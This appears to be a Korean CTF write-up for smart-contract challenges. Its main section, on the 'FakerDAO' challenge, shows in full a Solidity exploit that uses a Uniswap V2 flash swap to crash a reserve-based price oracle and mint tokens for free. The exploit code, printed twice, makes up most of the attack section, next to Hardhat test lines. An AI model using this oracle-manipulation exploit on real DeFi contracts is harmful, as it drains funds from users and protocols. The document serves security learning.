P2PWETH
컨트랙트의 잔액을 분배할 수수료 금액인 60000에 정확히 맞추기 위해, 286661을 강제로 전송
await this.weth.transfer(this.p2p.address, 286661);
await this.p2p.connect(attacker).withdrawFees(attacker.address);
# 4. FakerDAO
Summary
pragma solidity ^0.6.0;
import "@openzeppelin/contracts/utils/ReentrancyGuard.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "@openzeppelin/contracts/math/SafeMath.sol";
contract FakerDAO is ERC20, ReentrancyGuard {
using SafeMath for uint256;
address public immutable pair;
constructor (address _pair) public ERC20("Lambo", "LAMBO") {
_setupDecimals(0);
pair = _pair; // Uniswap YIN-YANG pair
}
function borrow(uint256 _amount) public nonReentrant {
uint256 _balance = Pair(pair).balanceOf(msg.sender);
uint256 _tokenPrice = price();
uint256 _depositRequired = _amount.mul(_tokenPrice);
require(_balance >= _depositRequired, "Not enough collateral");
// we get LP tokens
Pair(pair).transferFrom(msg.sender, address(this), _depositRequired);
// you get a LAMBO
_mint(msg.sender, _amount);
}
function price() public view returns (uint256) {
address token0 = Pair(pair).token0();
address token1 = Pair(pair).token1();
uint256 _reserve0 = IERC20(token0).balanceOf(pair);
uint256 _reserve1 = IERC20(token1).balanceOf(pair);
return (_reserve0 * _reserve1) / Pair(pair).totalSupply();
}
}
library $
{
address constant UniswapV2_FACTORY = 0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f; // ropsten
address constant UniswapV2_ROUTER02 = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; // ropsten
}
interface PoolToken is IERC20
{
}
interface Pair is PoolToken
{
function token0() external view returns (address _token0);
function token1() external view returns (address _token1);
function price0CumulativeLast() external view returns (uint256 _price0CumulativeLast);
function price1CumulativeLast() external view returns (uint256 _price1CumulativeLast);
function getReserves() external view returns (uint112 _reserve0, uint112 _reserve1, uint32 _blockTimestampLast);
function mint(address _to) external returns (uint256 _liquidity);
function sync() external;
}
FakerDAO 컨트랙트는 UniswapV2 Pair 토큰(YIN / YANG)을 Price Oracle로 사용하여 LAMBO 토큰을 borrow 해주는 서비스를 제공한다.
해당 컨트랙트를 대상으로 1개 이상의 LAMBO 토큰을 획득하는 것이 목표이다. (공격자는 5000 YIN / 5000 YANG 토큰을 가지고 시작)
Pair 토큰 컨트랙트에는 YIN 토큰과 YANG 토큰이 각각 1000000개 수만큼 유동성이 공급되어있다.
LAMBO 토큰 발급에 필요한 Pair 토큰의 가격을 FakerDAO 컨트랙트의 price()
를 통해 확인하며, YIN-YANG 토큰의 리저브 수량 및 총 발행량을 기반으로 계산한다.
> web3.utils.toHex(await contract.price()) / (10 ** 18);
1000000
위와 같이 초기 상태는 YIN 토큰의 리저브 수량(1000000) * YANG 토큰의 리저브 수량(1000000) / Pair 토큰의 총 발행량(1000000)에 따라 1 LAMBO 토큰을 발급하기 위해서는 1000000 Pair 토큰이 필요하다.
공격자는 YIN / YANG 토큰을 각각 5000개씩 가지고 있고, 유동성공급(UniswapV2Router::addLiquidity()
)을 이용해도 5000개의 Pair 토큰만 확보가 가능한 상황이다.
공격자는 유동성과 발행량을 기반으로 결정되는 price()
의 가격을 낮출 방법이 필요하다.
Exploit
Uniswap V2에서 제공하는 FlashSwap 기능을 이용한다. UniswapV2Pair::swap()
호출 시 네번째 인자인 bytes calldata data
에 값이 전달된 경우 Flashswap 기능이 실행된다.
pragma solidity ^0.6.0;
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
interface IFakerDAO {
function borrow(uint256 _amount) external;
function price() external view returns (uint256);
function transfer(address recipient, uint256 amount) external;
}
contract FakerDAOExploit {
address public fakerdao;
address public pair;
address public attacker;
constructor (address _fakerdao, address _pair) public {
fakerdao = _fakerdao;
pair = _pair;
attacker = msg.sender;
}
function exploit() public {
(uint256 _reserve0, uint256 _reserve1,) = IUniswapV2Pair(pair).getReserves();
address token0 = IUniswapV2Pair(pair).token0();
address token1 = IUniswapV2Pair(pair).token1();
uint out0 = (1000000 * 10 ** 18) - 1;
uint out1 = (1000000 * 10 ** 18) - 1;
// Swap Balance (Before FlashSwap)
// - YIN : 1000000 * 10 ** 18
// - YANG : 1000000 * 10 ** 18
// Swap Balance (While FlashSwap)
// - YIN : 1
// - YANG : 1
IUniswapV2Pair(pair).swap(out0, out1, address(this), bytes('run flash swap'));
}
// FlashSwap Callback
function uniswapV2Call(address sender, uint amount0, uint amount1, bytes calldata data) external {
address token0 = IUniswapV2Pair(msg.sender).token0();
address token1 = IUniswapV2Pair(msg.sender).token1();
IFakerDAO(fakerdao).borrow(65535); // mint LAMBO Token!
IFakerDAO(fakerdao).transfer(attacker, 65535); // send LAMBO Token to Attacker's EOA
// repay
IERC20(token0).transfer(msg.sender, IERC20(token0).balanceOf(address(this)));
IERC20(token1).transfer(msg.sender, IERC20(token1).balanceOf(address(this)));
}
}
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
공격자가 exploit()
호출 시 Pair 컨트랙트에 swap()
이 호출되며, 4번째인자를 임의의 값을 설정하여 UniswapV2 Flashswap 기능이 실행되도록 한다.
아래 구현에 의해, 공격자가 요청한 수량만큼 YIN / YANG 토큰을 공격자 컨트랙트로 전송한 다음 uniswapV2Call()
인터페이스를 호출한다.
// UniswapV2Pair.sol
...
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external lock {
...
if (amount0Out > 0) _safeTransfer(_token0, to, amount0Out); // optimistically transfer tokens
if (amount1Out > 0) _safeTransfer(_token1, to, amount1Out); // optimistically transfer tokens
if (data.length > 0) IUniswapV2Callee(to).uniswapV2Call(msg.sender, amount0Out, amount1Out, data); // Triggering Flashswap
...
}
...
이 때 공격자는 각 토큰의 전체 공급수량인 1000000 * 10 ** 18의 대부분인 1000000 * 10 ** 18 - 1 개를 전송받았기 때문에, Pair 토큰 컨트랙트에는 각각 1개씩만 남아있게된다.
FakerDAO::price()
는 pair 토큰에 속한 각 토큰의 리저브 수량과 Pair 토큰의 총 발행량을 기반으로 계산된다. 공격자가 Flashswap을 실행한 시점에는 이 계산되고 _depositRequired = 1 * 1 / (1000000 * 10 ** 18) == 0
으로 계산된다.
이로 인해 공격자는 무제한으로 LAMBO 토큰 발행(mint)이 가능하다.
```solidity
pragma solidity ^0.6.0;
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
interface IFakerDAO {
function borrow(uint256 _amount) external;
function price() external view returns (uint256);
function transfer(address recipient, uint256 amount) external;
}
contract FakerDAOExploit {
address public fakerdao;
address public pair;
address public attacker;
constructor (address _fakerdao, address _pair) public {
fakerdao = _fakerdao;
pair = _pair;
attacker = msg.sender;
}
function exploit() public {
(uint256 _reserve0, uint256 _reserve1,) = IUniswapV2Pair(pair).getReserves();
address token0 = IUniswapV2Pair(pair).token0();
address token1 = IUniswapV2Pair(pair).token1();
uint out0 = (1000000 * 10 ** 18) - 1;
uint out1 = (1000000 * 10 ** 18) - 1;
IUniswapV2Pair(pair).swap(out0, out1, address(this), bytes('run flash swap'));
}
// FlashSwap Callback
function uniswapV2Call(address sender, uint amount0, uint amount1, bytes calldata data) external {
address token0 = IUniswapV2Pair(msg.sender).token0();
address token1 = IUniswapV2Pair(msg.sender).token1();
IFakerDAO(fakerdao).borrow(65535); // mint LAMBO Token!
IFakerDAO(fakerdao).transfer(attacker, 65535); // send LAMBO Token to Attacker's EOA
// repay
IERC20(token0).transfer(msg.sender, IERC20(token0).balanceOf(address(this)));
IERC20(token1).transfer(msg.sender, IERC20(token1).balanceOf(address(this)));
}
}
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
let pair_addr = await this.fakerdao.pair();
const UniswapPairFactory = new ethers.ContractFactory(pairJson.abi, pairJson.bytecode, deployer);
this.pair = await UniswapPairFactory.attach(pair_addr); // LAMBO
// erc20 YIN / YANG
const ERC20Factory = await ethers.getContractFactory("ERC20", deployer);
this.yin_token = await ERC20Factory.attach(await this.pair.token0());
this.yang_token = await ERC20Factory.attach(await this.pair.token1());
///////////// Exploit
// const FakerDAOExploitFactory = await ethers.getContractFactory("FakerDAOExploit", attacker);
// this.exploit = await FakerDAOExploitFactory.deploy(this.fakerdao.address, this.pair.address);
// const ATTACKER_BALANCE = ethers.utils.parseEther("5000");
// await this.yin_token.connect(attacker).transfer(this.exploit.address, ATTACKER_BALANCE);
// await this.yang_token.connect(attacker).transfer(this.exploit.address, ATTACKER_BALANCE);
// await this.exploit.exploit();
await this.yin_token.connect(attacker).approve(this.uniswap_router.address, ethers.utils.parseEther("5000"));
await this.yang_token.connect(attacker).approve(this.uniswap_router.address, ethers.utils.parseEther("5000"));
let timestamp = (await ethers.provider.getBlock('latest')).timestamp * 2;
await this.uniswap_router.connect(attacker).addLiquidity(this.yin_token.address, this.yang_token.address, ethers.utils.parseEther("5000"), ethers.utils.parseEther("5000"), 1, 1, attacker.address, timestamp);
# 5. Main Khinkal Chef
WIP